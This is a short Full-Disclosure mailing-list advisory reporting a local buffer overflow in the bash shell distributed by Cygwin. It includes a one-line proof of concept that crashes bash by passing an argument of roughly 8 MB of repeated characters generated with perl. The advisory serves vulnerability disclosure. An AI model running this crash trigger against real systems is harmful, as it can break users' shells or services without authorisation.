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[Full-disclosure] Cygwin Bash Buffer Overflow



Cygwin Bash Buffer Overflow


Author: Rodrigo Gutierrez <rodrigo@xxxxxxxxxxxxxx>

Affected: Versions of bash distributed by the cygwin project

vendor url: http://www.cygwin.com

Type: Local



Background.

Cygwin is a Linux-like environment for Windows. GNU BASH is the GNU
project's UNIX shell. It replaces the standard UNIX Bourne and Korn shells.


Description

I think that cygwin people are cool, but Full Disclosure is a life style,
this is all you get guys, 8 megs.


PoC

you@cygwin:~ /usr/bin/bash `perl -e "print 'a'x8388600"`



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